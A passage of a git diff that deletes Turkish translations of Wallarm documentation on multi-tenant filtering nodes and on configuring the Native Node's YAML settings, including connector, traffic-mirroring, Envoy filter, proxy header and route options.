üzere Ingress [annotation](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `nginx.ingress.kubernetes.io/wallarm-partner-client-uuid` öğesini kullanın. Bir kaynak bir kiracı ile ilişkilidir: - - ``` - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/wallarm-partner-client-uuid=VALUE - ``` - === "Docker NGINX tabanlı imaj" - 1. NGINX yapılandırma dosyasını açın ve [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) yönergesini kullanarak trafiği kiracılar arasında bölün. Aşağıdaki örneğe bakın. - 1. Yapılandırma dosyasını [bağlayarak konteyneri çalıştırın](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file). - === "Kubernetes Sidecar" - 1. NGINX yapılandırma dosyasını açın ve [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) yönergesini kullanarak trafiği kiracılar arasında bölün. - 1. Bir NGINX yapılandırma dosyasını [Wallarm sidecar konteynerine](../../installation/kubernetes/sidecar-proxy/customization.md#using-custom-nginx-configuration) mount edin. - - İki müşterinin trafiğini işleyen filtreleme düğümü için NGINX yapılandırma dosyası örneği: - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - } - - server { - listen 80; - server_name tenant2.com; - wallarm_mode monitoring; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - - location / { - proxy_pass http://upstream2:8080; - } - } - ``` - - * Kiracı tarafında, iş ortağı IP adresi ile DNS A kayıtları yapılandırılır - * İş ortağı tarafında, kiracı adreslerine isteklerin yönlendirilmesi (proxy) yapılandırılır (`wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111` olan kiracı için `http://upstream1:8080` ve `wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222` olan kiracı için `http://upstream2:8080`) - * Gelen tüm istekler iş ortağının adresinde işlenir, meşru istekler `wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111` olan kiracı için `http://upstream1:8080` adresine ve `wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222` olan kiracı için `http://upstream2:8080` adresine yönlendirilir - -1. Gerekirse, [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) yönergesini kullanarak kiracı uygulamalarının kimliklerini belirtin. - - Örnek: - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - } - ``` - - `11111111-1111-1111-1111-111111111111` kiracısına ait iki uygulama vardır: - - * `tenant1.com/login` uygulama `21`'dir - * `tenant1.com/users` uygulama `22`'dir - -## Çok kiracılı düğümün yapılandırılması - -Filtreleme düğümü ayarlarını özelleştirmek için [mevcut yönergeleri](../../admin-en/configure-parameters-en.md) kullanın. - ---8<-- "../include/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/multi-tenant/overview.md b/docs/latest-tr/installation/multi-tenant/overview.md deleted file mode 100644 index 6fc1893556..0000000000 --- a/docs/latest-tr/installation/multi-tenant/overview.md +++ /dev/null @@ -1,76 +0,0 @@ -# Çok kiracılılığa Genel Bakış - -**Çok kiracılılık** özelliği, Wallarm'ı aynı anda birden fazla bağımsız şirket altyapısını veya izole ortamı korumak için kullanmanıza olanak tanır. - -**Kiracı** ([**kiracı hesabı**](#tenant-accounts)) aşağıdaki varlıkları temsil eder: - -* Wallarm'ı bir iş ortağı olarak entegre ediyorsanız bağımsız bir şirket (**müşteri**). -* Wallarm'ı bir müşteri olarak entegre ediyorsanız izole bir ortam. - ---8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - -## Çok kiracılılığın ele aldığı sorunlar - -Çok kiracılılık özelliği aşağıdaki sorunları ele alır: - -* **Wallarm ortağı olmak**. İş ortağı, müşterilerine saldırı azaltma sağlamak için sistem altyapılarına bir filtreleme düğümü kuran kuruluştur. - - Her müşteri için Wallarm Console içinde ayrı bir hesap tahsis edilir; böylece tüm verileri izole edilir ve yalnızca bu müşterinin kullanıcıları tarafından erişilebilir olur. - -* **Korumalı ortamlar üzerindeki verileri birbirinden izole etmek**. Bir ortam; ayrı bir uygulama, veri merkezi, API, üretim veya hazırlık (staging) ortamı vb. olabilir. - - İlgili örnekler: - - * Wallarm düğümü, izole ekipler tarafından yönetilen üretim ve hazırlık (staging) ortamlarına gönderilen istekleri filtreler. Gereksinim: Yalnızca belirli bir ortamı yöneten ekiplerin o ortama ait verilere erişebilmesini sağlamak. - * Wallarm düğümleri, izole ekiplerce yönetilen ve farklı bölgelerde bulunan (biri Avrupa'da, diğeri Asya'da) birden fazla veri merkezine dağıtılmıştır. Gereksinim: Yalnızca belirli bir veri merkezini yöneten kullanıcıların o merkeze ait verilere erişebilmesini sağlamak. - - Her ortam için Wallarm Console içinde ayrı bir hesap tahsis edilecektir; böylece tüm verileri izole edilir ve yalnızca seçilen kullanıcılar tarafından erişilebilir olur. - - !!! info "İzole olmayan ortamlar" - Ortamları izole etmeniz gerekmiyorsa, çok kiracılılık yerine bu ortamlar için ayarları ve görüntüleme yeteneklerini ayırmak üzere [applications](../../user-guides/settings/applications.md) kullanabilirsiniz. Bu, ortamları tüm kullanıcılarının erişebildiği tek bir hesap içinde düzenler. - -## Wallarm bileşenlerinin özelleştirilmesi - -Wallarm, Wallarm Console ve bazı diğer bileşenlerin özelleştirilmesine olanak tanır. Çok kiracılılığı kullanıyorsanız, aşağıdaki özelleştirme seçenekleri faydalı olabilir: - -* Wallarm Console'u markalaştırmak -* Wallarm Console'u özel bir alan adında barındırmak -* Müşterilerden veya çalışma arkadaşlarından iletileri almak için teknik destek e‑posta adresini ayarlamak - -## Kiracı hesapları {#tenant-accounts} - -Kiracı hesaplarının özellikleri şunlardır: - -* Kiracı hesaplarını Wallarm Console'da doğru şekilde gruplamak için, her kiracı hesabı bir küresel hesaba bağlanır; bu, bir iş ortağını veya izole ortamları olan bir müşteriyi ifade eder. -* Kullanıcılara her kiracı hesabına ayrı ayrı erişim sağlanır. -* Her kiracı hesabının verileri izole edilir ve yalnızca hesaba eklenen kullanıcılar tarafından erişilebilir olur. -* **global** [roller](../../user-guides/settings/users.md#user-roles) ile kullanıcılar yeni kiracı hesapları oluşturabilir ve tüm kiracı hesaplarının verilerini görüntüleyip düzenleyebilir. - -Kiracı hesapları aşağıdaki yapıya göre oluşturulur: - -![!Kiracı hesap yapısı](../../images/partner-waf-node/accounts-scheme.png) - -* **Global hesap**, kiracı hesaplarını yalnızca bir iş ortağı veya müşteri bazında gruplamak için kullanılır. -* **Teknik kiracı hesabı**, [global users](../../user-guides/settings/users.md#user-roles) eklemek ve onlara kiracı hesaplarına erişim sağlamak için kullanılır. Global users genellikle Wallarm iş ortağı şirketlerinin çalışanları veya izole ortamlar için çok kiracılılığı kullanan Wallarm müşterileridir. -* **Kiracı hesapları** şunlar için kullanılır: - - * Kiracılara tespit edilen saldırılara ilişkin verilere ve trafik filtreleme ayarlarına erişim sağlamak. - * Kullanıcılara belirli bir kiracı hesabının verilerine erişim sağlamak. - -[Global users](../../user-guides/settings/users.md#user-roles) şunları yapabilir: - -* Wallarm Console'da hesaplar arasında geçiş yapmak. -* Kiracıların [aboneliklerini ve kotalarını](../../about-wallarm/subscription-plans.md) izlemek. - -![!Wallarm Console'da kiracı seçici](../../images/partner-waf-node/clients-selector-in-console.png) - -* `Technical tenant` bir teknik kiracı hesabıdır -* `Tenant 1` ve `Tenant 2` kiracı hesaplarıdır - -## Çok kiracılılık yapılandırması - -Çok kiracılılık özelliği varsayılan olarak devre dışıdır. Özelliği etkinleştirmek ve yapılandırmak için: - -1. Abonelik planınıza "Multi-tenant system" özelliğini ekletmek için [sales@wallarm.com](mailto:sales@wallarm.com) adresine talep gönderin. -2. Kiracı hesaplarını Wallarm Console'da [yapılandırın](configure-accounts.md). -3. Çok kiracılı Wallarm düğümünü [dağıtın ve yapılandırın](deploy-multi-tenant-node.md). \ No newline at end of file diff --git a/docs/latest-tr/installation/native-node/all-in-one-conf.md b/docs/latest-tr/installation/native-node/all-in-one-conf.md deleted file mode 100644 index b0ce0f1bc9..0000000000 --- a/docs/latest-tr/installation/native-node/all-in-one-conf.md +++ /dev/null @@ -1,1057 +0,0 @@ -# All-in-One Yükleyici, Docker Image veya AWS AMI ile Native Node'u Yapılandırma - -Self-hosted [Wallarm Native Node](../nginx-native-node-internals.md#native-node)'u all-in-one yükleyici, Docker image veya AWS AMI kullanarak dağıtırken, bir `.yaml` yapılandırma dosyası oluşturursunuz. Bu dosyada düğüm yapılandırmasını belirleyebilirsiniz; bunun için tüm parametreler bu belgede açıklanmıştır. - -Düğüm all-in-one yükleyici veya AWS AMI ile çalışır durumdayken ayarları değiştirmek için: - -1. `/opt/wallarm/etc/wallarm/go-node.yaml` dosyasını güncelleyin. İlk yapılandırma dosyası kurulum sırasında bu yola kopyalanır. -1. Değişiklikleri uygulamak için Wallarm servisiniz yeniden başlatın: - - ``` - sudo systemctl restart wallarm - ``` - -Düğüm bir Docker image kullanılarak dağıtıldıysa, yapılandırma dosyasını ana makinede güncellemeniz ve güncellenmiş dosya ile Docker konteynerini yeniden başlatmanız önerilir. - -## mode (gerekli) - -Wallarm düğümünün çalışma modu. Şunlardan biri olabilir: - -* `connector-server` MuleSoft [Mule](../connectors/mulesoft.md) veya [Flex](../connectors/mulesoft-flex.md) Gateway, [Akamai](../connectors/akamai-edgeworkers.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md), [IBM DataPower](../connectors/ibm-api-connect.md) bağlayıcıları için. -* `tcp-capture` [TCP trafik yansıtma analizi](../oob/tcp-traffic-mirror/deployment.md) için. -* `envoy-external-filter` Istio tarafından yönetilen API'ler için [gRPC tabanlı harici işleme filtresi](../connectors/istio.md) için. - -=== "connector-server" - Wallarm bağlayıcısı için Native Node kurduysanız, temel yapılandırma şu şekildedir: - - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - blocking: true - allowed_networks: - - 0.0.0.0/0 - allowed_hosts: - - w.com - - "*.test.com" - mesh: - discovery: dns - name: native-node-mesh-discovery - port: 9093 - url_normalize: true - external_health_check: - enabled: true - endpoint: /wallarm-external-health - # per_connection_limits: - # max_requests: 300 - # max_received_bytes: 640_000 - # max_duration: 1m - - proxy_headers: - # Kural 1: Kurum içi proxy'ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici edge proxy'ler (örn. CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - - log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr - ``` -=== "tcp-capture" - Native Node'u TCP trafik yansıtma analizi için kurduysanız, temel yapılandırma şu şekildedir: - - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - path: /opt/wallarm/usr/bin/gor - parse_responses: true - response_timeout: 5s - url_normalize: true - - proxy_headers: - # Kural 1: Kurum içi proxy'ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici edge proxy'ler (örn. CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - - log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr - ``` -=== "envoy-external-filter" - Native Node'u bir Envoy harici filtresi olarak kurduysanız, temel yapılandırma şu şekildedir: - - ```yaml - version: 4 - - mode: envoy-external-filter - - envoy_external_filter: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - - proxy_headers: - # Kural 1: Kurum içi proxy'ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici edge proxy'ler (örn. CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - - log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr - ``` - -## Bağlayıcıya özgü ayarlar - -### connector.address (gerekli) - -Dinlenecek IP adresini ve iki nokta (`:`) ile ayrılmış portu belirtir. - -Portun `80`, `8080`, `9000` veya `3313` olmamasını sağlayın; bunlar diğer Wallarm süreçleri tarafından kullanılır. - -=== "IP adresi:Port" - ```yaml - version: 4 - - connector: - address: '192.158.1.38:5050' - ``` -=== "Tüm IP'lerde belirli port" - ```yaml - version: 4 - - connector: - address: ':5050' - ``` - -### connector.tls_cert (gerekli) - -Düğümün çalıştığı alan adı için verilmiş TLS/SSL sertifikasının (genellikle `.crt` veya `.pem` dosyası) yolu. - -Güvenli iletişimi sağlamak için sertifika güvenilir bir Sertifika Yetkilisi (CA) tarafından verilmiş olmalıdır. - -Düğüm bir Docker image ile dağıtılmışsa, trafik düğümün konteynerine ulaşmadan önce yük dengeleyici seviyesinde SSL şifre çözme yapılması gerektiğinden bu parametreye gerek yoktur. - -### connector.tls_key (gerekli) - -TLS/SSL sertifikasına karşılık gelen özel anahtarın (genellikle bir `.key` dosyası) yolu. - -Düğüm bir Docker image ile dağıtılmışsa, trafik düğümün konteynerine ulaşmadan önce yük dengeleyici seviyesinde SSL şifre çözme yapılması gerektiğinden bu parametreye gerek yoktur. - -### connector.blocking - -Genellikle, bu parametreyi değiştirmenize gerek yoktur. Kötü amaçlı istekler için belirli engelleme davranışı, [`wallarm_mode`](#route_configwallarm_mode) parametresiyle kontrol edilir. - -Bu parametre, Native Node'un gelen istekleri engelleme genel yeteneğini etkinleştirir; örneğin kötü amaçlı istekler, kara listeye alınmış IP'lerden gelenler veya engellemeyi gerektiren diğer koşullar. - -Varsayılan: `true`. - -### connector.allowed_networks - -Bağlanmasına izin verilen IP ağlarının listesi. - -Varsayılan: `0.0.0.0/0` (tüm IP ağlarına izin verilir). - -### connector.allowed_hosts - -İzin verilen ana bilgisayar adlarının listesi. - -Varsayılan: tüm ana bilgisayar adlarına izin verilir. - -Bu parametre joker eşleştirmeyi destekler: - -* `*` herhangi bir ayırıcı olmayan karakter dizisini eşleştirir -* `?` herhangi bir ayırıcı olmayan tek karakteri eşleştirir -* `'[' [ '^' ] { character-range } ']'` - -??? info "Joker eşleştirme sözdizimi ayrıntıları" - ``` - // Desen sözdizimi: - // - // pattern: - // { term } - // term: - // '*' herhangi bir ayırıcı olmayan karakter dizisini eşleştirir - // '?' herhangi bir ayırıcı olmayan tek karakteri eşleştirir - // '[' [ '^' ] { character-range } ']' - // karakter sınıfı (boş olmamalıdır) - // c c karakterini eşleştirir (c != '*', '?', '\\', '[') - // '\\' c c karakterini eşleştirir - // - // character-range: - // c c karakterini eşleştirir (c != '\\', '-', ']') - // '\\' c c karakterini eşleştirir - // lo '-' hi lo <= c <= hi için c karakterini eşleştirir - // - // Eşleşme, sadece bir alt dizeyle değil, adın tamamıyla eşleşmeyi gerektirir. - ``` - -Örneğin: - -```yaml -version: 4 - -connector: - allowed_hosts: - - w.com - - "*.test.com" -``` - -### connector.mesh - -`connector-server` modunda, birden çok düğüm kopyası dağıtıldığında Wallarm düğümleri arasında tutarlı trafik işleme sağlamak için mesh özelliği kullanılır. İstekleri ve bunlara karşılık gelen yanıtları, başlangıçta farklı kopyalar tarafından işlenmiş olsalar bile aynı düğüme yönlendirir. Bu, otomatik ölçeklendirme veya ECS'de birden fazla kopya gibi yatay ölçeklendirme durumlarında kritiktir. - -!!! info "Kubernetes ortamları" - Kubernetes'te [yerel Wallarm düğümü dağıtımı için Helm chart'ı](helm-chart.md) kullanın. Otomatik ölçeklendirme veya birden fazla kopya algılandığında mesh otomatik olarak yapılandırılır; ek kurulum gerekmez. - -ECS'de mesh'i yapılandırmak için: - -1. Düğümlerin mesh içinde birbirlerini dinamik olarak bulup iletişim kurmasını sağlamak için servis keşfini (örn. [AWS Cloud Map](https://docs.aws.amazon.com/cloud-map/latest/dg/what-is-cloud-map.html), [Google Cloud DNS](https://cloud.google.com/dns/) veya benzeri hizmetler) kurun. - - Servis keşfi olmadan mesh düzgün çalışmayacaktır; düğümler birbirlerini bulamayacak ve trafik yönlendirme sorunlarına yol açacaktır. -1. Aşağıda gösterildiği gibi yapılandırma dosyasında `connector.mesh` parametrelerini belirterek Wallarm düğümünü mesh kullanacak şekilde yapılandırın: - -```yaml -version: 4 - -connector: - mesh: - discovery: dns - name: native-node-mesh-discovery - port: 9093 -``` - -#### discovery - -Düğümlerin mesh içinde birbirlerini nasıl keşfedeceğini tanımlar. Şu anda sadece `dns` değeri desteklenir. - -Düğümler birbirlerini DNS kullanarak keşfeder. DNS kaydı, mesh'e katılan tüm düğümlerin IP adreslerine çözülmelidir. - -#### name - -Düğümlerin mesh içindeki diğer düğümlerin IP adreslerini çözmek için kullandığı DNS alan adı. Genellikle ECS servisindeki tüm düğüm örneklerine çözümlenecek bir değere ayarlanır. - -#### port - -Mesh içindeki düğümler arası iletişim için kullanılan dahili portu belirtir. Bu port dışa açık değildir ve ECS kümesi içindeki düğümden düğüme trafik için ayrılmıştır. - -### connector.url_normalize - -Rota yapılandırmalarını seçmeden önce ve libproton ile verileri analiz etmeden önce URL normalizasyonunu etkinleştirir. - -Varsayılan: `true`. - -### connector.external_health_check - -Wallarm Node'un erişilebilirliğini doğrulamak için harici sistemlere olanak tanıyan ek bir harici sağlık denetimi uç noktasını yapılandırır. - -Uç nokta, Node ile aynı porttan (`connector.address` parametresi) servis edilir ve Node çalışıyorsa HTTP 200 OK ile yanıt verir. - -Desteklenen sürümler: - -* Native Node 0.13.3 ve üzeri 0.13.x sürümleri -* Native Node 0.14.1 ve üzeri -* Henüz AWS AMI'de desteklenmiyor - -```yaml -version: 4 - -connector: - external_health_check: - enabled: true - endpoint: /wallarm-external-health -``` - -#### enabled - -Harici sağlık denetimi uç noktasını açar veya kapatır. `true` ise, uç nokta belirtilen yolda, Node ile aynı porttan erişilebilir hale gelir. - -Varsayılan: `false`. - -#### endpoint - -Harici sağlık denetimi uç noktasının erişilebilir olacağı URL yolunu tanımlar. `/` ile başlamalıdır. - -### connector.per_connection_limits - -`keep-alive` bağlantıları için sınırları tanımlar. Belirtilen sınırlardan herhangi biri aşıldığında, Node istemciye `Connection: Close` HTTP başlığını gönderir; bu, istemcinin mevcut TCP oturumunu kapatıp sonraki istekler için yeni bir oturum kurmasını sağlar. - -Bu mekanizma, 4. katman yük dengelemede, müşterilerin ölçek artışından sonra tek bir Node örneğine bağlı kalmasını önlemeye yardımcı olur. - -Varsayılan olarak sınır uygulanmaz; bu, çoğu kullanım senaryosu için önerilen yapılandırmadır. - -Native Node 0.13.4 ve sonraki 0.13.x sürümlerinde ve 0.15.1 ve sonrasında desteklenir. - -```yaml -version: 4 - -connector: - per_connection_limits: - max_requests: 300 - max_received_bytes: 640_000 - max_duration: 1m -``` - -#### max_requests - -Tek bir bağlantının kapatılmadan önce işleyebileceği en fazla istek sayısı. - -#### max_received_bytes - -Bir bağlantı üzerinden alınabilecek en fazla bayt sayısı. - -#### max_duration - -Bir bağlantının azami ömrü (örn. 1 dakika için `1m`). - -## TCP yansıtma (mirror) özel ayarları - -### goreplay.filter - -Trafiğin yakalanacağı ağ arayüzünü belirtir. Bir değer belirtilmezse, instance üzerindeki tüm ağ arayüzlerinden trafik yakalanır. - -Değer, ağ arayüzü ve iki nokta (`:`) ile ayrılmış port olmalıdır, örn.: - -=== "Arayüz:Port" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - ``` - - Birden fazla arayüz ve porttan trafik yakalamak için, `goreplay.filter` ile birlikte `goreplay.extra_args` kullanın, örn.: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`, GoReplay'i `-input-raw` argümanı ile ayarlar; `extra_args` ise ek `-input-raw` girdilerinin belirtilmesini sağlar. -=== "Arayüzdeki tüm portlar" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:' - ``` -=== "Tüm arayüzlerde belirli port" - ```yaml - version: 4 - - goreplay: - filter: ':80' - ``` -=== "Tüm arayüzler ve portlar" - ```yaml - version: 4 - - goreplay: - filter: ':' - ``` - -Ana makinede mevcut ağ arayüzlerini kontrol etmek için: - -``` -ip addr show -``` - -### goreplay.extra_args - -GoReplay'e geçirilecek [ek argümanları](https://github.com/buger/goreplay/blob/master/docs/Request-filtering.md) belirtmenizi sağlar. - -* Genellikle, analiz gerektiren yansıtılmış trafik türlerini (örneğin VLAN, VXLAN) tanımlamak için kullanırsınız. Örneğin: - - === "VLAN ile kapsüllenmiş yansıtılmış trafik" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VLAN'ınızın VID'i, örn.: - # - 42 - ``` - === "VXLAN ile kapsüllenmiş yansıtılmış trafik (AWS'de yaygın)" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-engine - - vxlan - # Özel VXLAN UDP portu, örn.: - # - -input-raw-vxlan-port - # - 4789 - # Belirli VNI (varsayılan olarak tüm VNI'ler yakalanır), örn.: - # - -input-raw-vxlan-vni - # - 1 - ``` - - Yansıtılan trafik VLAN veya VXLAN gibi ek protokollerle kapsüllenmemişse, `extra_args` yapılandırmasını atlayabilirsiniz. Kapsüllenmemiş trafik varsayılan olarak ayrıştırılır. -* Ek arayüz ve portları yakalamak için `filter`'ı `extra_args` ile genişletebilirsiniz: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`, GoReplay'i `-input-raw` argümanı ile ayarlar; `extra_args` ise ek `-input-raw` girdilerinin belirtilmesini sağlar. - -### goreplay.path - -GoReplay ikili dosyasının yolu. Genellikle, bu parametreyi değiştirmenize gerek yoktur. - -Varsayılan: `/opt/wallarm/usr/bin/gor`. - -### goreplay.parse_responses - -Yansıtılan yanıtlarda ayrıştırma yapılıp yapılmayacağını kontrol eder. Bu, [zafiyet tespiti](../../about-wallarm/detecting-vulnerabilities.md) ve [API keşfi](../../api-discovery/overview.md) gibi yanıt verisine dayanan Wallarm özelliklerini etkinleştirir. - -Varsayılan olarak `true`. - -Yanıt yansıtmanın Wallarm düğümünün bulunduğu hedef instance'a yapılandırıldığından emin olun. - -Node sürümü 0.10.1 ve öncesinde, bu parametre `middleware.parse_responses` olarak ayarlanır. - -### goreplay.response_timeout - -Bir yanıt için beklenecek azami süreyi belirtir. Bu süre içinde bir yanıt alınmazsa, Wallarm süreçleri ilgili yanıtı beklemeyi durdurur. - -Varsayılan: `5s`. - -Node sürümü 0.10.1 ve öncesinde, bu parametre `middleware.response_timeout` olarak ayarlanır. - -### goreplay.url_normalize - -Rota yapılandırmalarını seçmeden önce ve libproton ile verileri analiz etmeden önce URL normalizasyonunu etkinleştirir. - -Varsayılan: `true`. - -Node sürümü 0.10.1 ve öncesinde, bu parametre `middleware.url_normalize` olarak ayarlanır. - -## Envoy harici filtreye özgü ayarlar - -### envoy_external_filter.address (gerekli) - -Dinlenecek IP adresini ve iki nokta (`:`) ile ayrılmış portu belirtir. - -Portun `80`, `8080`, `9000` veya `3313` olmamasını sağlayın; bunlar diğer Wallarm süreçleri tarafından kullanılır. - -=== "IP adresi:Port" - ```yaml - version: 4 - - envoy_external_filter: - address: '192.158.1.38:5080' - ``` -=== "Tüm IP'lerde belirli port" - ```yaml - version: 4 - - envoy_external_filter: - address: ':5080' - ``` - -### envoy_external_filter.tls_cert (gerekli) - -Düğümün çalıştığı alan adı için verilmiş TLS/SSL sertifikasının (genellikle `.crt` veya `.pem` dosyası) yolu. - -Güvenli iletişimi sağlamak için sertifika güvenilir bir Sertifika Yetkilisi (CA) tarafından verilmiş olmalıdır. - -Düğüm bir Docker image ile dağıtılmışsa, trafik düğümün konteynerine ulaşmadan önce yük dengeleyici seviyesinde SSL şifre çözme yapılması gerektiğinden bu parametreye gerek yoktur. - -### envoy_external_filter.tls_key (gerekli) - -TLS/SSL sertifikasına karşılık gelen özel anahtarın (genellikle bir `.key` dosyası) yolu. - -Düğüm bir Docker image ile dağıtılmışsa, trafik düğümün konteynerine ulaşmadan önce yük dengeleyici seviyesinde SSL şifre çözme yapılması gerektiğinden bu parametreye gerek yoktur. - -## Temel ayarlar - -### proxy_headers - -Trafiğin proxy’ler veya yük dengeleyicilerden geçmesi durumunda, Native Node'un orijinal istemci IP'sini ve host bilgisini nasıl çıkaracağını yapılandırır. - -* `trusted_networks`: güvenilir proxy IP aralıkları (CIDR'ler). `X-Forwarded-For` gibi başlıklara yalnızca istek bu ağlardan geliyorsa güvenilirlik atfedilir. - - Atlanırsa, tüm ağlar güvenilir kabul edilir (önerilmez). -* `original_host`: bir proxy tarafından değiştirilmişse, orijinal `Host` değerini almak için kullanılacak başlıklar. -* `real_ip`: gerçek istemci IP adresini çıkarmak için kullanılacak başlıklar. - -Farklı proxy türleri veya güven seviyeleri için birden fazla kural tanımlayabilirsiniz. - -!!! info "Kuralların değerlendirme sırası" - İstek başına yalnızca eşleşen ilk kural uygulanır. - -Native Node 0.13.5 ve sonraki 0.13.x sürümlerinde ve 0.15.1 ve sonrasında desteklenir. - -Örnek: - -```yaml -version: 4 - -proxy_headers: - - # Kural 1: Kurum içi proxy'ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici edge proxy'ler (örn. CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP -``` - -[`tcp-capture`](../oob/tcp-traffic-mirror/deployment.md) modunda çalışan 0.14.1 ve önceki Node sürümleri için `http_inspector.real_ip_header` parametresini kullanın. Daha sonraki sürümlerde, `proxy_headers` bölümü bunun yerini alır. - -### route_config - -Belirli rotalar için ayarları belirteceğiniz yapılandırma bölümü. - -### route_config.wallarm_application - -[Wallarm uygulama kimliği](../../user-guides/settings/applications.md). Bu değer, belirli rotalar için geçersiz kılınabilir. - -Varsayılan: `-1`. - -### route_config.wallarm_mode - -Genel trafik [filtreleme modu](../../admin-en/configure-wallarm-mode.md): `block`, `safe_blocking`, `monitoring` veya `off`. OOB modunda trafik engelleme desteklenmez. - -Mod, [belirli rotalar için geçersiz kılınabilir](#wallarm_mode). - -Varsayılan: `monitoring`. - -### route_config.routes - -Rota bazlı Wallarm yapılandırmasını ayarlar. Wallarm modu ve uygulama kimliklerini içerir. Örnek yapılandırma: - -=== "connector-server" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: off - ``` -=== "tcp-capture" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: off - ``` - -#### host - -Rota host'unu belirtir. - -Bu parametre, [`connector.allowed_hosts`](#connectorallowed_hosts) ile benzer joker eşleştirmeyi destekler. - -Örneğin: - -=== "connector-server" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" - ``` -=== "tcp-capture" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" - ``` - -#### routes.route veya route - -Belirli rotaları tanımlar. Rotalar NGINX benzeri öneklerle yapılandırılabilir: - -```yaml -- route: [ = | ~ | ~* | ^~ | ]/location - # | | | | ^ regex'lerden daha düşük öncelikli önek - # | | | ^ regex'lerden daha yüksek öncelikli önek - # | | ^ re büyük/küçük harf duyarsız - # | ^ re büyük/küçük harf duyarlı - # ^ tam eşleşme -``` - -Örneğin, yalnızca tam rotayı eşleştirmek için: - -```yaml -- route: =/api/login -``` - -Düzenli ifadeyle rotaları eşleştirmek için: - -```yaml -- route: ~/user/[0-9]+/login.* -``` - -#### wallarm_application - -[Wallarm uygulama kimliğini](../../user-guides/settings/applications.md) ayarlar. Belirli uç noktalar için `route_config.wallarm_application` değerini geçersiz kılar. - -#### wallarm_mode - -Host'a özel trafik [filtreleme modu](../../admin-en/configure-wallarm-mode.md): `block`, `safe_blocking`, `monitoring` veya 